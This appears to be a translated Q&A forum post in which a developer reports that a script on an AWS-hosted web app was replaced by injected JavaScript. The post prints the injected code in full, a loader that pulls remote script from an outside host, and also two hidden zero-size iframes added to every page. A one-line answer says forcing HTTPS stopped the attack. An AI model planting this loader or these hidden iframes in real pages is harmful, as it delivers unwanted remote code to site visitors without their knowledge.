我在AWS上托管的一个网络应用程序,当加载到Microsoft Edge时,会提示从“one.m4dc.com”下载一个名为“t”的14字节文件,该文件不是我的域名。所以我开始检查我的脚本和页面。然后我观察了一些非常奇怪的行为。我的一个名为 pd-index.js 的脚本的内容被下面给出的内容所取代。
try {
var esdmd51 = '1f4c5553ab20a8809f7f1724448c2f6e';
var d = document;
var esdfd5_uri = 'http://www.plantondesk.com/js/pd-index.js?m4dc56=176712';
if(0 != e6f744) {
var e6f744 = 0;
esdfd5 =! 0
}
else esdfd5 =! 1;
function ldS(e,t) {
var a = d.createElement("script");
a.type = "text/javascript",
a.readyState
?a.onreadystatechange = function() {
"loaded"!=a.readyState && "complete" != a.readyState || (a.onreadystatechange=null,t())
}
:a.onload = function() {
t()
},
a.src = e,
d.getElementsByTagName("head")[0].appendChild(a)
}
try {
vA = d.currentScript.async,
vD = d.currentScript.defer
}
catch(e) {
vA =! 0
}
vA || vD
?ldS(esdfd5_uri, function(){})
:(
d.write('<script id="esdfd576712" type="text/javascript" src="'+esdfd5_uri+'" ><\/script>'),
d.getElementById("esdfd576712") || ldS(sdfd5_uri, function(){})
),
esdfd5 && ldS("http://one.m4dc.com/j/si.js", function(){})
}
catch(e) {}
所有这些代码都写在一行中。我构建它是为了理解。
另一个奇怪的事情是每个页面的正文内容都附加了下面给出的两个div元素。
<div>
<iframe width="0px" height="0px" class="iifr" id="chk_frame" src="http://one.m4dc.com/i/si.html" frameborder="0" scrolling="no" allowtransparency="true"></iframe>
</div>
<div>
<iframe width="0px" height="0px" class="iifr" id="hdr_ifr" src="http://one.m4dc.com/t/?r=0.7112356815203629" frameborder="0" scrolling="no" allowtransparency="true"></iframe>
</div>
文件下载提示仅在Microsoft Edge中发生。 Firefox和Chrome没有这样做。但无论如何,我的脚本和页面都被修改了。我真的不明白发生了什么。看起来像某种黑客。应用程序在localhost上运行时没有问题。任何帮助表示赞赏。
答案 0 :(得分:0)
通过强制https对Web应用程序的所有请求成功阻止此攻击。